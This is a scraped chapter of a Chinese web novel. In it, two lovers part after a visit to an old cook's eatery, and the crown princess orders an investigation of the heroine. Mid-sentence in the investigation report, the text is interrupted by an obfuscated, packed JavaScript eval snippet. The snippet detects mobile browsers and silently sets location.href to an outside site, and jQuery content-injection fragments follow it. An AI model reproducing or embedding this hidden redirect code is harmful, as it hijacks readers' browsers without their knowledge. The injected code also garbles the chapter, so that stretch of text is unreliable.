默认冷灰
24号文字
方正启体

130. 舍不得

作者:弃岸本书字数:K更新时间:
    宋十安很快吃完了面,想起身收拾桌子,钱浅也跟着帮忙。


    老于却说:“不用,你俩一块,帮我把剩下那几颗宝贝穿上衣服就成了!”


    钱浅依言照做,将最后几棵植物规整地包上棉被,打好漂亮的绳结。


    宋十安立在一旁,给她递棉花卷、绳子,看她打绳结,眼珠都肯不错一下。


    待钱浅全部做完,宋十安弯腰拍掉她裙摆上蹭到的灰尘,又细细摘去她身上、头上粘到的棉花、棉线,满目温柔地说:“发髻有些松了。”


    老于看着二人笑得一脸慈爱,招呼道:“来,喝口茶!十安你说是不是巧?我今日拿来招待逍遥小友的茶,就是你先前给我送的明前祁门红茶呢!”


    钱浅对宋十安说:“你跟于伯再坐坐吧,我就先回了。”


    “别啊!”老于直接赶人,“他今儿来是干活的。既然活儿被你干完了,我也就不用留他了。你们年轻人,做点年轻人该做的事儿去!”


    钱浅不知‘年轻人该做的事儿’是指什么,但脸又开始发热了,庆幸酒意还没散,应该看不出来。


    宋十安并未理会老于的打趣,端了茶杯递给钱浅,温和道:“喝点茶水暖身,待会儿路上就不冷了。”


    钱浅喝完茶水将杯子放下,宋十安已经拿起她的棉披风,为她披上系好,然后对宁亲王和老于告辞。


    钱浅今日与二人相谈甚欢,临别却不知该说些什么话告别。萍水相逢,想来再见的机会也不多了,于是她向二人郑重行了一礼:“愿二位日后一切顺遂,吉祥如意,平安喜乐。后会有期。”


    看着那双般配的身影并肩离去,老于笑道:“不愧是十安倾心不移的人啊!不过我怎么觉得,小友这样子倒像是在说后会无期?”


    宁亲王感慨惋惜:“她本该受到栽培,名扬天下才对。可这般奇才总是命运多舛,如初升的朝阳,却意外坠落深渊,就这样站在深渊里,漠然旁观红尘世事。”


    老于却神色轻快地说:“她此时身处深渊,却不一定就不出来了。说不定,只是缺少一个拉她的人呢!”


    宁亲王对此持怀疑态度,“跳出来,也未必是好事……”


    *


    钱浅脸上的酒意被风吹过,脑子又清醒又晕乎,好奇之下向宋十安问起了老于。


    宋十安说,老于原也是个风云人物。


    自幼家贫,为了能吃饱饭进入军中。他头脑机灵,学东西快,人也勤奋,得到宋十安叔父的栽培。


    老于学有所成后参加科考,取得不错的成绩,进而得到宁亲王的器重,在短短时间接连升迁,成了京都城炙手可热的新贵。他没有高攀那些显赫门第,而是择了一贤淑女子成了婚,人生得意。


    宁亲王出事后,老于据理力争,认为内阁不该因宁亲王的一件私事就全然否决她这个人,而后就莫名其妙被人废了条腿。此后宁亲王这一派的人要么辞官、要么遭到贬黜,再也没有掀起水花。


    老于少了条腿,又被罢了官,夫人也在此时带着孩儿离他而去,自此一蹶不振。


    他曾生气夫人无情无义,悲愤至极时,还冒起过与夫人、孩儿同归于尽的念头。


    宋十安跟着叔父去看老于,天真稚童不懂朝堂和感情之事,傻乎乎大放厥词,说老于若惹夫人生气伤心,便该诚挚道歉、求得原谅。


    谁知一语唤醒梦中人。


    老于转了性子,想到夫人爱吃煨牛肉、糖醋鱼,于是开始着手学做菜。


    学做菜的初心是想要挽回夫人,结果做着做着,突然就想通了。


    老于意识到,他从未给夫人洗手作羹汤,还不听夫人劝阻,执意为宁亲王强出头,让她担惊受怕。最终也如夫人所料,枪打出头鸟,落得这副下场。


    老于终于明白夫人对他的怨愤和不满,也认识到他既然真心爱夫人,那夫人认为离开他会过得更好,他就不该强求,而应祝她幸福。


    最终,老于的菜没能让夫人吃上,却靠着这门手艺开了这个食铺。


    他对名利钱财看得很淡,又只招待合眼缘客人,故而并不出名。但他手艺的确没的说,又爱研究捣鼓,老客人们很是捧场,倒也不愁生意。


    钱浅觉得,宋十安的爱情观应该受了老于不少影响,一腔赤诚爱意,却舍得尊重放手。


    眼见就要到家了,宋十安问:“决定何时走了吗?”


    钱浅道:“二三月吧!天气暖和一些,绵绵就跟裕王订亲了。看她订完亲就走。”


    宋十安又问:“那决定好去哪了吗?”


    “走走看吧!说不定在哪寻到一处喜欢的地方,就小住一段时间,看长河月圆,品人间烟火。”钱浅说罢,对宋十安笑道:“就到这吧!别送了。再见。”


    面对她轻松的“再见”,宋十安忽然觉得,好像每次都在和她告别,心里涌起阵阵悲伤。


    “真的还会再见吗?”


    钱浅想了想说:“有缘的话。”


    宋十安难忍不舍,抬手抱住了她。


    他并不敢抱紧,仿佛在告诉钱浅,只要她不愿意,随时都能推开他。


    可钱浅没推,反而借着酒意环抱住了他的腰身,闭上眼睛贪婪地呼吸着他身上好闻的味道。良久,她轻声说:“能与你相识,是我此生一大幸事。”


    宋十安闻言抱紧了她,在她耳边温柔道:“浅浅,你要记得,除了我,还有很多人爱你。”


    钱浅鼻子又酸了,在眼泪落下前推开他,头也不回地进了巷子。


    关上家门,泪早已爬满全脸。她倚靠着门蹲在地上,有些心疼自己。


    哎,真舍不得啊!


    为何偏偏遇到这样好的人啊!


    凭什么她要面对这样的命运?真的好不甘心啊!


    二人亲密相拥后,宋十安呆呆杵在原地许久,像被这冬日的寒冷冰封住了似的。


    那画面刺痛另一名女子的眼睛,紫色大氅都被不染纤尘的玉手捏到变了形。


    “给孤查清楚此女的身份!”


    当晚,太子太保卫莹便将对钱浅的调查结果,呈到了东宫皇太女的书案上。


    “钱浅年十八,原是个写话本的著者,名号逍遥居士。父母双亡,还有个妹妹名叫钱绵。姐妹二人于两年前夏日来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213814|169516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到京都城,而后开了个成衣铺子叫锦绵阁,还有个勤富工艺铺,生意十分红火,今年还在郊外置了耕田。”


    “此人身份看似简单,却处处透着诡异。初到京都不过半年就搭上了云王,表面上只是为云王著书立传的门客,却甚得云王看重。另外需要特别注意的是,钱绵还是浮生乐坊的东家之一,裕王执意要娶的那位普通人家的女子,就是钱绵。”


    皇太女王宥知闻言眼中迸发出一抹凌厉之色,“她会不会是二皇兄的人?”


    一脸肃容的卫莹回道:“属下觉得不无可能。这姐妹二人短短两年半的时间,在京都城置了宅子、产业和耕田,还与云王、姚菁菁、沈望尘、徐芷兰交好,如今又拉拢了宋侯和裕王。若说是两个单纯的孤女,实在难以令人信服。”


    王宥知思忖片刻,“可若真是这样厉害的人物,为何咱们一直没能注意?”


    “这便是属下说的诡异之处。”


    卫莹分析道:“乐坊的乐师都唤她逍遥坊主,而浮生乐坊在府衙的备案,却是她妹妹钱绵的名字。乐坊的人根本不知道钱绵这个人,甚至不知逍遥坊主本名叫钱浅。而且宅子、耕田也都在钱绵名下,这个钱浅什么都没有,甚至连钱庄的户头都没有。这岂非是在故意避开咱们的视线?”


    王宥知琢磨不通,“可若是二皇兄的人,又为何派徐芷兰掺和进来?他做事一向滴水不漏,徐芷兰那种性子,根本维持不住四皇兄、姚太傅和望尘表兄的关系,他不可能犯这样的错误。”


    卫莹问:“会不会只是派徐王妃盯着这个钱浅,她才是关键人物?”


    王宥觉得还是说不通,“那根本没必要去拉拢六弟啊!六弟空有王爵,既无家世可倚仗,前朝更是毫无根基。望尘表兄虽只是郡王爵位,却领了军职,如今已隐隐有了实力。让钱绵攀附六弟,还不如攀附望尘表兄来得更实际些。”


    卫莹语气迫切:“若她真是昌王的人,拉拢到卓家的财力,再加上姚太傅的支持,对咱们十分不利!届时若连宋侯也倒戈了,殿下这储君之位可就岌岌可危了!无论如何,宋侯是支持您的重要力量,绝不能让他与此女产生纠葛!”


    王宥知支着脑袋说:“宋十安早前对孤信誓旦旦,说已心有所属,今日却与这女子当街举止亲密。看来那情意,也并非如他所说那般矢志不渝。”


    提起此事,卫莹更是气愤无比:“属下当初就觉得宋侯这话不可信!哪有认识短短月余便情根深种、至死不渝的道理?他分明是在以此为借口,婉拒殿下您的心意!”


    王宥知似有不快却并未发作,只说:“那些话不必再提。此女出现,倒是帮了孤一个大忙。明日咱们去会一会她,看看她,究竟有多大本事。”


    卫莹担忧:“殿下,咱们贸然动作,会不会打草惊蛇?”


    王宥知讥嘲一笑,高高抬着下巴反问:“惊了又如何?孤还能怕了二皇兄不成?若真是他所为,被孤发现了他的伎俩,该怕的是他才对!至于如何做……”


    她翻看着书案上的纸张,嘴角噙着笑说:“这不是有现成的把柄么?便借此试试这姐妹俩的斤两如何。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)